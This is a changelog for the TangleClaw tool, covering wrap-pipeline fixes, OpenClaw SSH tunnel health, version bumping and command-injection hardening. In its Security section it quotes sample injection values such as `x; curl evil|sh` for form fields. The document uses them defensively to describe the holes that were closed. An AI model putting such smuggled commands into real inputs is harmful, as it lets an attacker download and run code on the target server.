# Changelog

All notable changes to TangleClaw are documented in this file.

## [Unreleased]

### Fixed

- **Wrap content steps fail loud instead of silently committing without them (#328).** The three prawduct `ai-content` content steps — `changelog-update`, `learnings-capture`, `memory-update` — were non-blockers, so when one timed out (the 300s idle cap) or failed validation it returned `ok:false` but the pipeline ran on to `commit` anyway: a complete-looking wrap landed with **no MEMORY.md refresh**. That's the bug behind the 2026-06-04 wrap, where `memory-update` showed `[Blocked] "AI did not return within 300s — wrap pipeline blocked"` yet `commit` showed `[Done]` right after (no data was lost only because MEMORY.md had been hand-authored before the wrap). Three changes: (1) the three content steps now declare **`blocker: true` + `allowOverride: true`**, so a failure **halts before `commit`** — no silent partial wrap; (2) the blocked step offers **Retry** (wait for the AI, then re-run) or a step-scoped **"Skip & note"** override (`options.skipAiContent[stepId]`, accumulated across retries, recorded in the commit body as `- AI content (<step>): skipped via user override`); (3) the timeout message no longer hardcodes the false **"wrap pipeline blocked"** claim (the handler can't know the pipeline's fate) — it names the step + "no idle detected" and carries an actionable `output.remediation`. No double-bump risk on Retry: `version-bump` stages in-memory and only `commit` flushes, so a halt evaporates staged writes and the retry re-derives from the working tree. **Tests.** `test/wrap-step-ai-content.test.js` (override skip + staging, accurate timeout message), `test/wrap-pipeline.test.js` (blocker:true ai-content halts before commit; `_buildBodyLines` skip line), `test/wrap-drawer.test.js` (ai-content decision widget + `skipAiContent` option collection). Docs: ADR 0002 step-kind table + amendment.

## [3.26.0] - 2026-06-04

### Added

- **version-bump: quiet skip + per-project opt-out for projects that manage their own versioning (#318).** When a project's `version.json`/`package.json` `version` isn't 3-part semver (e.g. TiLT v2's deliberate 4-segment `2.85.0.1`, produced by its own tooling), the wrap step used to skip with an alarming `"version" field missing or non-semver (got "…")` that read like breakage on every wrap. It now (1) skips with a **neutral, explanatory** reason — distinguishing a genuinely *missing* version from a *non-semver scheme TC simply doesn't drive* — and (2) honors a new per-project **`versionBumpEnabled`** flag (default **true**; only an explicit `false` disables). A self-versioned project can now turn TC's bump off via a **settings toggle** ("Auto version bump"), and the step skips with "version-bump disabled for this project (manages its own versioning)". Plumbed like `featureIndexEnabled` (store default → projects read/validate/persist → settings UI → step check). **Tests.** version-bump opt-out + neutral-message cases (`test/wrap-pipeline.test.js`, `test/version-bump-package-json.test.js`) and a `versionBumpEnabled` validation/persist/default block (`test/feature-index.test.js`).
- **Auto-detect OpenClaw Instance Dir over SSH — "Detect" button (#306-followup).** The connection form's Instance Dir field gains a **Detect** button: using the Host / SSH User / SSH Key Path already entered, TangleClaw SSHes to the host and discovers the OpenClaw stack directory automatically, so you don't have to hand it the path (the gap that kept the version display dark). One round-trip unions two strategies — the `com.docker.compose.project.working_dir` label of any running `*openclaw*` container (when docker is reachable to the SSH user), and a **bounded** scan of conventional locations for a `.env` declaring `OPENCLAW_IMAGE` (for hosts where the gateway runs as another user, cf. #297). New stateless endpoint `POST /api/openclaw/detect-instance-dir` (takes the SSH fields in the body, so it works in the Add form before the connection exists) backed by `lib/openclaw-detect.js`. The discovery script is fed to a remote `sh` over **stdin** (never interpolated), and host/user/key-path are shape-validated before any ssh runs — no command injection. **Tests.** New `test/openclaw-detect.test.js` (15): shape guards incl. injection attempts, output parsing/dedup, `~` key-path expansion, the script's dual strategy + no-unbounded-grep guard, the handler's unsafe/empty/success/ssh-failure paths, and the frontend Detect wiring.
- **OpenClaw Version row always renders in the connection detail list (#306).** Previously the `Version` row in an expanded OpenClaw connection card (`public/ui.js`) only appeared when the connection had an `instanceDir` configured — so connections without it showed no Version row at all, making the #296 version display look absent. The row is now unconditional: when `instanceDir` is set it shows the async-fetched OpenClaw image tag (unchanged), and when it isn't it shows a muted, actionable **"Set Instance Dir to enable"** hint with a tooltip explaining how to turn it on. The async version fetch still only runs for connections that have an `instanceDir` (the hint branch has no value to populate). New `.oc-detail-muted` style for the hint. **Tests.** New `test/openclaw-version-row.test.js` (5) locks the always-render label, both value branches, the fetch-guard, and the CSS rule.
- **OpenClaw "Read Me" setup-guide button next to + Add Connection (#306-followup).** A new **Read Me** button opens a modal that (1) explains what + Add Connection does and documents every field it asks for (Host, SSH User/Key, Gateway Port, CLI Command, Local/Bridge ports, **Instance Dir**, Available-as-engine), and (2) provides a copy-paste prompt — with a **Copy prompt** button — that you can hand to an AI agent setting up an OpenClaw instance. The agent sets the instance up TangleClaw-ready and reports back the form values, including the **Instance Dir** that enables the version display. The Instance Dir form-field label now reads "(recommended …)" and points at the Read Me. `docs/OPENCLAW-SETUP.md` gains an Instance Dir field-table row and an "About the version display" section (pinned-vs-moving-tag caveat, local-build tags). The modal is dismissed only by explicit user action (Close / backdrop), never on a timer. **Tests.** New `test/openclaw-setup-readme.test.js` (10) covers the button in both panel states, open/close/copy handlers, the no-timer guard, the modal markup + field list, the prompt's version-critical content, and the CSS.

### Fixed

- **OpenClaw tunnel health probes try both loopback families, fixing false "Gateway: FAIL" on IPv6-only local binds (#295).** `checkHealth` (the settings "test connection" probe) **and** `httpRoundTrip` (the #288 end-to-end liveness probe) both hardcoded `http://127.0.0.1:<localPort>` — the local-side analogue of the IPv6-only-binding problem #291 fixed for the *remote* forward target. When the local end of an `ssh -L` forward binds IPv6-only (`[::1]`), a perfectly healthy tunnel was reported dead. Both now route through a shared `_fetchLoopback` helper that probes `127.0.0.1` first (common case, no added latency) and falls back to `[::1]`, accepting whichever family answers — mirroring the existing `FORWARD_TARGETS` fallback for the remote side. The TCP bind-check (`tcpProbe`, defaulted to `127.0.0.1`) had the *same* IPv4-only assumption at every point it gates a probe or a result — the reuse pre-gate in `ensureTunnel`, `detectTunnel`, the post-spawn bind confirmation in `_spawnTunnelOnce` (where `ensureTunnel` hard-fails `ok:false` on `!bound` *before* the round-trip, so an IPv6-only fresh spawn was misreported as a bind failure), **and** the `killTunnelByPort` release-verification checks (which must not report a port released while an `[::1]` socket lingers — the #288-defect-2 false-success the surrounding comment warns against). All of these now route through a loopback-family-aware check (`_loopbackConnectable`). Every local-loopback probe and bind-check is fixed together so none is left on the IPv4-only assumption (symmetric-gate hygiene). **Tests.** New `loopback family fallback (#295)` block in `test/tunnel.test.js` — `checkHealth`, `httpRoundTrip`, and `detectTunnel` each find an `[::1]`-only-bound server, plus a both-families-dead negative — and an `ensureTunnel` "already-up on `[::1]`" case (all skip gracefully if the environment lacks IPv6 loopback).
- **`install.sh` no longer fails silently when the repo sits under a macOS TCC-protected folder (#324).** If the TC repo lives under `~/Documents`, `~/Desktop`, or `~/Downloads` and node lacks Full Disk Access, the launchd server hangs **silently** on startup — launchd-spawned node blocks in `uv_cwd` opening its working directory, with zero output (stderr went to `/dev/null`). This cost a multi-hour debugging session. Three changes: (1) a **Darwin-guarded preflight** detects the repo-under-protected-folder case and prints a heads-up naming the exact remedy (grant Full Disk Access to the *resolved* node binary — symlink resolved via node's own `realpathSync` since BSD `readlink` lacks `-f`); (2) when the post-reload health check fails in that situation, the script **escalates to a specific diagnosis** (the `uv_cwd` hang signature + the FDA fix) instead of the old generic "may not be ready"; (3) the server plist's `StandardErrorPath` now points at `~/.tangleclaw/logs/server.err.log` (created before load) instead of `/dev/null`, so a future startup crash leaves a breadcrumb. The preflight is non-blocking (many setups have already granted FDA, and `install.sh` may run non-interactively). **Tests.** New TCC-preflight block in `test/install-sh.test.js` (Darwin guard, three protected roots, FDA + resolved-node messaging, `TCC_PROTECTED`-gated failure diagnosis, log-dir creation, `set -u` init safety) and a server-plist assertion that stderr is no longer `/dev/null`.
- **Terminal scrollback survives reconnect / TC restart, and long output is reachable in a live session (#322, #290).** tmux always retained history (`history-limit 50000`, survives restarts — that's why Peek works), but on every re-attach ttyd handed the browser a *fresh, empty* xterm.js buffer and `tmux attach-session` only redrew the current viewport, so scrollback vanished on any reconnect, tab reload, or ttyd/TC restart. Additionally, ttyd's xterm scrollback sat at its 1000-line default, truncating long output mid-session. Two changes: (1) `deploy/ttyd-attach.sh` now replays the scrolled-off history into the buffer before attaching — `tmux capture-pane -e -p -S -10000 -E -1` (colors preserved; `-E -1` excludes the visible screen so the attach-redraw doesn't duplicate it; best-effort, never blocks the attach); (2) `deploy/com.tangleclaw.ttyd.plist` raises the xterm buffer via `--client-option scrollback=10000` so the live buffer is large enough and can hold the replay. **Tests.** New scrollback-replay assertions in `test/ttyd-attach.test.js` (replay precedes attach, colors + `-E -1`, best-effort) and a new `test/ttyd-plist.test.js` locking the scrollback client-option and the buffer ≥ replay-window invariant. **Note:** the plist change requires a `launchctl` reload of `com.tangleclaw.ttyd` (re-run `deploy/install.sh` or kickstart the service) to take effect; the attach-script change applies on the next terminal connection.
- **Methodology resolves from the DB (single source of truth), not a stale `project.json` (#320).** Two engine-config code paths resolved methodology as `projConfig.methodology || project.methodology` — **file-first** — while session launch (`sessions.js`) already trusted the DB's `project.methodology`. That asymmetry let a stale, git-tracked `.tangleclaw/project.json` override the server: TiLT v2 still shipped a legacy flat `methodology: "minimal"` (the minimal methodology was archived ~2 months prior) that contradicted the DB's `prawduct`, and `syncAllProjects` (every TC restart) would regenerate `CLAUDE.md` from the wrong template; the phase-update path had the same precedence. Both now read `project.methodology` directly, matching the session-launch path and closing the asymmetric-resolution gap. The file's `methodology` field is no longer read by any authoritative path (API responses already serialize from the DB row), so the server stays the single source of truth. **Tests.** New `syncAllProjects` regression case in `test/projects.test.js`: DB `prawduct` + a stale on-disk `minimal` → regenerated `CLAUDE.md` reflects Prawduct.
- **OpenClaw version display works for locally-built / custom-tagged images (#308).** `parseVersion` (`lib/openclaw-version.js`) required the `OPENCLAW_IMAGE` value to contain the canonical `openclaw/openclaw:` registry path, so an image like `openclaw:qmd` (a local build) failed to parse and the connection showed "unknown". It now extracts the tag generically — the substring after the reference's last `:`, unless that substring contains a `/` (a registry host:port, not a tag) — handling `ghcr.io/openclaw/openclaw:<tag>`, `openclaw:qmd`, `openclaw:latest`, and `registry:5000/openclaw:tag`. **Tests.** +4 regression cases (bare tag, custom registry, host:port guard, untagged ref).
- **Framework auto-sync no longer blocked by a phantom "rebase in progress" (#304).** `_git_op_in_progress` in `tools/lib/sync_cmd.py` treated the presence of `.git/REBASE_HEAD` as an in-progress rebase. Unlike `MERGE_HEAD`/`CHERRY_PICK_HEAD`/`REVERT_HEAD` (which git removes when the op ends or aborts), git *leaves `REBASE_HEAD` behind* after a rebase completes — it is only overwritten by the next rebase. So any repo that had ever rebased reported a phantom rebase forever, blocking auto-sync and sticking in the session briefing. Dropped `REBASE_HEAD` from the marker list; the existing `rebase-merge`/`rebase-apply` directory check (git's own authoritative test) keeps genuine in-progress rebases covered.
- **priming-roll wrap step no longer BLOCKS a clean wrap when `.claude/plans/` has no active plan (#302).** When every build plan has been archived to `.claude/plans/archive/` (per CLAUDE.md's plan-archiving rule), the active plans dir is empty — there is no pointer to roll. `_resolvePlanPath` already treated the conceptually-identical "several plans, none in-progress" case as a clean **skip** (`priming-roll.js`), but the zero-plans branch returned a bare error with no `skip` flag, so the handler fell through to **BLOCKED**. Every clean wrap on a fully-shipped project showed a spurious red BLOCKED row. The empty-dir branch now mirrors its sibling and skips with a "nothing to roll" reason. The non-recursive `.md` filter already ignored the `archive/` subdir, so archived plans were never miscounted — the only defect was the missing skip flag. **Tests.** Updated the now-inverted "empty plans dir" case and added a regression test reproducing the exact reported scenario (all plans under `archive/`, empty top level → skips).

### Security

- **`POST /api/openclaw/test` now validates all shell-interpolated fields before shelling out (#312).** The connection form's *Test Connection* endpoint interpolated `host`/`sshUser`/`sshKeyPath` into an `ssh …` command **and** `port`/`localPort` into a `curl …:<port>/healthz` command, both run via `execSync` (`server.js`) with no validation — command-injection surfaces reachable from form input (e.g. `host = "x; curl evil|sh"` or `localPort = "1;curl evil|sh"`). It now rejects unsafe SSH-field shapes (reusing `openclaw-detect`'s `unsafeReason` guard — one source of truth, added in #311) and non-integer / out-of-range `port`/`localPort` with 400 before any shell-out. Surfaced by the Critic reviewing #311 (SSH triple) and #313 (the port fields). **Tests.** New regression cases in `test/api-openclaw.test.js` asserting injection-shaped `host`/`sshUser`/`sshKeyPath` and `port`/`localPort` each 400. (The version reader interpolates the SSH fields from *stored* connection records — lower exposure; noted in #312 for a follow-up.)
- **Version reader shape-validates its SSH fields too; shared validator extracted (#314, #312 follow-up).** `fetchVersion` (`lib/openclaw-version.js`) interpolated `conn.host`/`conn.sshUser`/`conn.sshKeyPath` into its `ssh …` command without validation — the same injection class as #312, but from *stored* connection records (which aren't shape-validated at write time) rather than direct form input. It now rejects unsafe-shaped targets (`version: null` + reason, no ssh attempted). The guards (`SAFE_HOST`/`SAFE_USER`/`SAFE_KEYPATH`/`unsafeReason`) are extracted into a new shared `lib/ssh-target-safety.js` so `openclaw-detect`, `openclaw-version`, and the `/api/openclaw/test` route share one source of truth (`openclaw-detect` re-exports `unsafeReason` for back-compat). **Tests.** New `test/ssh-target-safety.test.js` (7) for the shared validators, plus a version-reader injection-guard regression case.
- **OpenClaw session-launch command shape-validates its fields too — completes the injection sweep (#316).** `_buildLaunchCommand` (`lib/sessions.js`) built the engine-launch string `ssh -t -i <key> <user>@<host> "<cliCommand>"` from stored connection fields with no validation, and the key path was **unquoted**. It now refuses to launch (returns `undefined` + logs) when `host`/`sshUser`/`sshKeyPath` fail the shared `unsafeReason` guard, rejects a `cliCommand` containing quote-breaking / substitution characters (`"` `` ` `` `$` `\` or control chars — while still allowing plain flags), and quotes the key path. This was the launch-path sibling of #312/#314 and the last known shell-injection surface in the OpenClaw flow. **Tests.** New OpenClaw-launch cases in `test/sessions.test.js` (safe build, refused on injection-shaped host/sshUser/sshKeyPath/cliCommand, plain-flag cliCommand still allowed).

## [3.25.0] - 2026-06-02

### Added

- **OpenClaw tunnels self-heal — periodic liveness check + auto-recreate (closes #294).** A background monitor (`lib/tunnel-monitor.js`, started at server boot) end-to-end probes each tunnel TC has established this process lifetime (`oc-direct-<connId>`, every 45s via `httpRoundTrip`) and rebuilds any that died via `ensureTunnel({force:true})` — re-resolving the connection config and re-picking the IPv4/IPv6 forward target (#291). This fixes the "tunnel connects, then doesn't persist → Web UI black-screens" loop: when an `ssh -f -N -L` tunnel dropped (transport flap, or the remote gateway container being restarted) nothing rebuilt it, so the connection stayed dead until a manual re-launch. Per-connection **exponential backoff** (45s → capped 10min) keeps a genuinely-down gateway from hot-looping and clears the moment a probe succeeds. Scope is intentionally narrow: only currently-tracked `oc-direct` tunnels (ones the operator opened) are monitored — never auto-establishing a tunnel nobody asked for. The interval is `unref`'d (never holds the process open) and `stop()`ped on graceful shutdown. A **2-consecutive-failed-probe debounce** keeps a lone transient timeout from tearing down an otherwise-healthy tunnel, and an **in-flight guard** ensures overlapping ticks can't race a teardown/rebuild of the same local port (a recreate's ssh spawn can outlast the interval). **Tests.** New `test/tunnel-monitor.test.js` (11): key parsing, healthy→no-rebuild, the probe debounce (1st miss → "probing", 2nd → recreate), dead→recreate-with-force+bridge-forward, recreate-failure→backoff→skip-in-window, backoff escalation + cap, recovery-clears-backoff, `tick` filters to known oc-direct connections, the reentrancy guard (a 2nd tick is a no-op while one is in flight), start-idempotent/stop-clears. Full suite 2677/2678 (1 pre-existing skip).

## [3.24.0] - 2026-06-02

### Added

- **version-bump bumps `package.json` when there's no `version.json` (closes #298).** `lib/wrap-steps/version-bump.js` now resolves the version source — preferring `version.json`, falling back to `package.json` (Node projects) — so wrapping a Node app actually bumps its version instead of skipping. Of 34 registered projects only 4 had a `version.json`; ~14 are `package.json`-versioned and were silently skipped every wrap with "version.json not found". The `package.json` write is **surgical** — only the top-level `"version"` value is swapped (anchored on the current value), byte-preserving the hand-maintained file's formatting, key order, and dependency versions; a defensive normalized-rewrite fallback covers unusual formatting. `version.json` stays preferred + normalized (TangleClaw and the other 3 `version.json` projects are unchanged). When **neither** file exists the skip reason is now the clearer "not version-tracked (no version.json or package.json …)" instead of the alarming "version.json not found", and the wrap-drawer detail names the source (e.g. `1.4.2 → 1.5.0 (minor, package.json)`). The commit-body "Bumped …" line shape-matches the staged metadata, so package.json bumps render with no commit-step change. **Tests.** New `test/version-bump-package-json.test.js`: source resolution (version.json preferred, package.json fallback, neither → skip, missing/non-semver version → skip), the surgical swap preserves siblings and does NOT touch a coinciding dependency version, and a `run()` e2e bumping package.json + promoting the CHANGELOG. Updated the "skips when missing" + detail-format pins in `test/wrap-pipeline.test.js`. Full suite 2666/2667 (1 pre-existing skip).

## [3.23.0] - 2026-06-02

### Added

- **OpenClaw connection panel shows the instance version per connection (closes #296).** Each OpenClaw connection's expanded panel now displays the running OpenClaw version inline (alongside Host / Port / SSH User / Local Port), read from the instance's pinned image tag (`OPENCLAW_IMAGE=ghcr.io/openclaw/openclaw:<tag>` in its `.env`) over SSH. The version isn't exposed by the gateway's HTTP endpoints / headers / JS bundle, and `docker`/`podman` aren't on the SSH user's PATH, so the `.env` is the viable source (discovered while chasing the tunnel incidents). Adds an optional **`instanceDir`** connection field (host path of the instance stack, e.g. `~/openclaw-tilt`) — set it to enable the version row; unset connections show no row. New `GET /api/openclaw/connections/:id/version` reads + parses the tag over SSH, **cached per connection** (5-min TTL) so repeated panel renders don't each SSH; `?force=1` bypasses the cache, and the cache is invalidated on connection update. `lib/openclaw-version.js` validates `instanceDir` against a metacharacter-free shape before interpolating it into the remote command (shell-injection guard). Schema migration **v15→v16** adds the `instance_dir` column. **Tests.** New `test/openclaw-version.test.js` (tag parse; `instanceDir` safety incl. injection rejection; fetch + cache + `force`; no-dir / unsafe / ssh-fail / missing-tag paths); `test/store-openclaw.test.js` round-trips `instanceDir` + asserts the v16 column survives the v15 rebuild; schema-version pins bumped 15→16 across the store/session/portlease tests. `CACHE_NAME` `v3-16`→`v3-17` so operators get the new panel + modal field. Full suite 2659/2660 (1 pre-existing skip). **Follow-up:** the per-connection "Update" button (#297) — TC shelling out to a durable `openclaw-update` host-helper over SSH (the host `docker` lives at `/usr/local/bin`, just off the non-interactive PATH) — is filed separately.
- **Wrap drawer operator guidance: status tooltips + "How to fix this" remediation (closes #222, #223).** Two affordances from the post-#220 dogfood feedback ("I'm not clear on what these things do") land together since they share the drawer-rendering code. **Status tooltips (#222):** each step's status badge (DONE/SKIPPED/BLOCKED/PENDING/RUNNING) now carries a plain `title` tooltip explaining what the status means — e.g. SKIPPED = "Step ran but had nothing to do… Not a failure.", PENDING = "Step queued but didn't run because a blocker:true step earlier in the pipeline failed." Text is centralized in `STATUS_META` (`public/wrap-drawer.js`) and surfaced via `buildStepRow().statusTooltip`; no JS, no dependency, accessible. **Remediation (#223):** step handlers can now return an optional `output.remediation` string — a handler-authored "how to fix this" — which the drawer renders as a collapsible **"How to fix this"** disclosure under the blocked row (and `buildReportText` appends a `How to fix:` line to the copied report). Absent/blank `remediation` falls through to the existing raw-blocker rendering (back-compat). Retrofitted the primary blocked path of each handler that genuinely blocks: `priming-roll` (multiple/no/unresolvable plan — the motivating #226 case — and no-chunk-headings), `test` (non-zero exit, points at the skip-tests override), `lint` (errors, suggests `--fix`), `critic-check` (blocking findings, points at `/critic verify-resolutions` and the override; merged into the existing `output` without clobbering `blockingFindings`), and `commit` (pre-commit hook rejection — the #268 motivating case). `pr-check` is intentionally untouched: it is always-ok by design (gh-missing/auth → `status:'skipped'`, never blocks), so it has no blocked-return to remediate; rarer secondary blocks in `commit`/`ai-content` deliberately fall through to raw-blocker rendering to keep the change scoped. **Tests.** `test/wrap-drawer.test.js` +6 (every status carries a tooltip; unknown-status empty-tooltip fallback; remediation surfacing with trim + blank/non-string/absent → null back-compat; `buildReportText` includes/omits the How-to-fix line). Regression assertions added to the existing blocked-path tests for `test`, `lint`, `priming-roll` (×2), `critic-check`, and `commit` in `test/wrap-pipeline.test.js` pinning each handler's `output.remediation`. Full suite 2622/2623 (1 pre-existing skip; net +6). `CACHE_NAME` bumped `v3-14` → `v3-15` so operators get the new drawer assets.
- **priming-roll auto-disambiguates multiple build plans instead of always blocking (closes #226).** A long-lived project accumulates `.md` files in `.claude/plans/` (shipped plans, in-progress plans, advisory plans), and `priming-roll` used to BLOCK whenever it found more than one — forcing the operator to name `step.planPath` or clean the directory after every plan completed (the post-#220 dogfood pain point: 9 plans, "I'm not clear what these do"). The handler now resolves the plan by precedence: (1) `step.planPath` (methodology config, unchanged); (2) **new** `activePlan: "<filename>"` in `.tangleclaw/project.json` — an operator escape hatch whose bare filename resolves under `.claude/plans/` (with the same project-root containment guard as `step.planPath`); (3) exactly one `.md` plan → use it; (4) **among several, the single _in-progress_ plan** — one with an undone `### Chunk N` heading per `_parseChunks`/`_selectPointer` — is auto-picked. If **zero** plans are in progress (all chunks ✅ or chunk-less) the step now **skips** (`status: 'skipped'`, "No in-progress plan … nothing to roll") rather than blocking, so a finished project's wrap isn't held up; if **more than one** is in progress it blocks with `output.remediation` (the #223 drawer surface) naming the three disambiguation options (`step.planPath`, `activePlan`, or clean up `.claude/plans/`). New exported helpers `_isPlanInProgress` and `_readActivePlan`. **Tests.** +5 in `test/wrap-pipeline.test.js`: auto-pick the single in-progress plan among complete ones, skip when all complete, `activePlan` escape hatch resolves the named plan, `activePlan`→missing-file blocks with remediation, and the multiple-in-progress block (replacing the old always-block-on-\>1 test). Full suite 2635/2636 (1 pre-existing skip; net +4).

### Changed

- **version-bump refuses to bump when `version.json` trails the CHANGELOG's top released heading (closes #203).** `lib/wrap-steps/version-bump.js` now guards the computed `newVersion` against the newest dated `## [X.Y.Z]` heading already in the changelog: if the bump wouldn't be strictly greater (a drift scenario — botched manual edit, out-of-order merge, or a force-push that rolled `version.json` back but not the CHANGELOG), the step returns `skipped` with a diagnostic reason (`refusing to bump: newVersion (X) is not strictly greater than CHANGELOG top released (Y); version.json may have drifted; reconcile manually before re-wrapping`) instead of promoting an out-of-order heading. Skips rather than blocks, per the ADR 0002 step-kind contract ("never blocks") — the wrap pipeline proceeds, the operator reconciles before re-wrapping. This catches the bad shape *before* the wrap commit lands, where `test/changelog-structure.test.js`'s descending-order invariant would only flag it post-commit. New helpers `_topReleasedVersion` (first dated heading) and `_compareSemver`. **Tests.** +5 in `test/wrap-pipeline.test.js`: `_compareSemver` ordering, `_topReleasedVersion` (first-heading + nullish-safe), the drift skip case (version.json 3.16.0 vs top released 3.16.2 → patch 3.16.1 ≤ 3.16.2 → skip, no writes staged), and the +1-patch boundary that correctly proceeds. Full suite 2629/2630 (1 pre-existing skip; net +5).

### Fixed

- **OpenClaw tunnels: end-to-end health + adaptive IPv6 forward target + reliable kill (closes #288, #291).** Two compounding tunnel defects left OpenClaw instances stuck at `BAD_GATEWAY` with no self-recovery (diagnosed live on the TiLT Claw / RentalClaw connections). **(1) Health was binding-based (#288):** `ensureTunnel` and `detectTunnel` treated a tunnel as up whenever the local port was *bound*, but under `ExitOnForwardFailure=yes` an `ssh -f -N -L` keeps the socket bound after its transport dies — a zombie forwarding into a void — so `POST .../tunnel` returned `alreadyUp` and never rebuilt while the proxy hung. **(2) Forward target hardcoded `127.0.0.1` (#291):** Docker Desktop for Mac republishes container ports IPv6-only after a restart, so `ssh -L <port>:127.0.0.1:<port>` dead-ends (`[::1]` answers, IPv4 loopback resets) — bound-but-dead from the first second; Linux/dual-stack hosts were unaffected, which is why only Mac-Docker hosts broke. **Fix:** new `httpRoundTrip(localPort)` does a real HTTP round-trip (ANY status = alive) and is the liveness truth source — `detectTunnel.active` and `ensureTunnel`'s already-up check are now end-to-end, so a zombie reports **down** and rebuilds. `ensureTunnel` spawns adaptively (`_spawnTunnelOnce` per attempt): tries forward target `127.0.0.1`, and if the round-trip fails, tears down and retries `[::1]`, keeping whichever carries traffic. **(3) `killTunnelByPort` made reliable + async (#288 defect 2):** resolves the PID actually holding the LISTEN socket via `lsof -t -iTCP:<port> -sTCP:LISTEN` (scoped to our `ssh -L <port>:` signature so it never kills an unrelated holder), escalates SIGTERM→SIGKILL, and **verifies the port is released** before returning `released` + the real `pid` — the old ps+grep resolver returned `pid:null` against zombies, so the documented "delete + recreate" recovery was a no-op against exactly the state needing it. The `DELETE .../tunnel` route awaits the now-async kill. **Tests.** `test/tunnel.test.js` +8 (`httpRoundTrip` any-status-alive / silent-zombie-dead / no-listener; `detectTunnel` zombie→inactive; `_findSshPidByPortLsof` scopes out non-ssh holders; `FORWARD_TARGETS` order; async `killTunnelByPort` release flag) plus the existing already-up/active tests upgraded from bind-based to end-to-end servers. Full suite 2647/2648 (1 pre-existing skip). **Live-verify caveat:** the IPv4-vs-IPv6 selection and lsof kill are exercised via real-socket fixtures; the true half-dead-SSH-transport path still needs verification against an actual Docker-Desktop-for-Mac instance (the TiLT Claw connection on `192.168.20.10` that surfaced this).
- **Wrap `memory-update` step no longer blocks every wrap on valid AI output (closes #287).** The step declared `captureFields: [summary, nextSteps, learnings]` and parsed them out of the tmux pane via `_parseFields`'s `/^##\s+/` match — but `tmux capture-pane -p` returns the *TUI-rendered* pane (escapes stripped), and Claude Code renders `## Summary` as a styled heading **without** the literal `##`, so the regex never matched and every wrap blocked with `Required captureField "summary" missing or empty` even though the AI emitted the blocks correctly (confirmed empirically: 0 lines start with `## ` across 2000 lines of a live Claude Code pane). It's the only `ai-content` step that parses pane output rather than just editing a file, so its siblings (`changelog-update`, `learnings-capture`) were unaffected. **Fix:** an `ai-content` step may now declare `captureFile` (a project-relative path); when set, the AI writes the structured `## Heading` block to that file (raw markdown, `##` preserved) and the handler parses the file instead of the pane, then removes it (consume-once — a later wrap can't read a stale summary if the AI fails to rewrite it). The bundled prawduct `memory-update` step gains `captureFile: ".tangleclaw/.wrap-summary.md"` and its prompt now instructs writing the block there; `schemaRevision` bumps `1`→`2` so existing installs pick up the framework-owned step change via the #275 reconcile on next boot. Steps without `captureFile` keep the original pane-parse path unchanged (back-compat); a missing/unreadable file blocks with a clear, actionable message. **Tests.** New `test/wrap-step-ai-content.test.js`: `_parseFields` parses raw `## ` blocks and (documenting the failure mode) returns empty on TUI-rendered headings; `run()` parses fields from the `captureFile` despite a hash-stripped pane, removes the file after read, blocks clearly when the file is missing, and the back-compat pane path still parses when no `captureFile` is set. `test/prawduct-aicontent-prompts.test.js` gains a lockstep guard pinning `memory-update.captureFile` and that the prompt references it. Full suite 2640/2641 (1 pre-existing skip; net +9 vs the prior `[Unreleased]` baseline).
- **Wrap blocked-report drawer no longer auto-closes before the operator can read it (closes #268).** When the wrap pipeline halted at any step (commit-hook failure, lint/test failure, Critic blocking finding), the blocked report — the operator's primary source of truth for *why* a wrap stopped — was visible only "for a few seconds" and then vanished. Root cause was a race, not a timer on the drawer itself: the wrap-block drawer (`public/session.js` `openWrapDrawer`) is sticky and has no self-dismiss, but when the underlying session subsequently went inactive, the status poller's `handleSessionEnded()` started its 10-second auto-redirect `countdownTimer` and navigated the whole page to `/`, taking the open drawer with it. **Fix:** `openWrapDrawer`/`closeWrapDrawer` now track `sessionState.wrapDrawerOpen`, and `handleSessionEnded` gates its countdown through a new pure helper `tcWrapDrawerHelpers.shouldStartEndedCountdown({wrapDrawerOpen})` — while the drawer is open the redirect is suppressed (the ended bar shows with no countdown; the operator dismisses the drawer and uses the manual "Back to Projects" themselves). Consistent with the no-timer-driven-UI-lifecycle stance (#98, #268) — the fix removes/guards the timer rather than lengthening it. **Copyable report:** new "Copy report" button in the drawer actions copies the full report (status banner + every step's label, status, detail, and complete blocker output) to the clipboard via a new pure serializer `tcWrapDrawerHelpers.buildReportText(pipelineResult)`, so operators can paste a halt into an issue or share it. **Not clipped:** `.wrap-step-blockers` now renders with `white-space: pre-wrap; word-break: break-word` so multi-line failure output (e.g. husky + jest output) wraps and stays readable inside the already-scrollable (`max-height: 80vh`, `flex` column) drawer rather than being truncated. **Tests.** 4 new tests in `test/wrap-drawer.test.js`: `buildReportText` serializes a blocked pipeline with full step output + tolerates a malformed/empty result; `shouldStartEndedCountdown` suppresses the countdown when the drawer is open and allows it when closed/absent. **SW delivery:** `/wrap-drawer.js` added to `NETWORK_FIRST_PATHS` (it's the pure-helper sibling of the already-network-first `session.js`; a stale cached copy against a fresh `session.js` would throw on the new helpers) and `CACHE_NAME` bumped `tangleclaw-v3-13` → `tangleclaw-v3-14` so operators evict the old cache on next SW activation; pinned in `test/openclaw-cache.test.js`. Full suite 2616/2617 (1 pre-existing skip; net +4).

### Internal

- **CHANGELOG: reconstructed orphaned v3.2.3–v3.2.9 release sections; removed buried duplicate `## [Unreleased]` (closes #281).** A stray second `## [Unreleased]` heading sat mid-file (between `[3.3.0]` and `[3.2.2]`) holding the entire OpenClaw build's release notes — they were never stamped with their version numbers when v3.2.3–v3.2.9 shipped (2026-03-21), so the changelog was missing those seven dated sections and carried a duplicate `[Unreleased]`. The orphaned content was **not** a duplicate of any released section (the original mis-diagnosis on #281); deleting it would have lost history. Reconstructed faithfully using the unambiguous chunk/test-count→version mapping from the release commit subjects: `[3.2.9]` PortHub regression fixes; `[3.2.8]` standalone access (viewer, auto-pair, HTTPS, proxy auth); `[3.2.7]`–`[3.2.4]` Web UI/tunnel/integration Chunks 6→3; `[3.2.3]` build plan + connection-registry Chunks 1–2. Entry text preserved verbatim; only regrouped under dated headers in descending order. **Guard:** `test/changelog-structure.test.js` gains invariant #5 (exactly one `## [Unreleased]` heading) + a detector test for the buried-duplicate shape, so this can't recur silently.
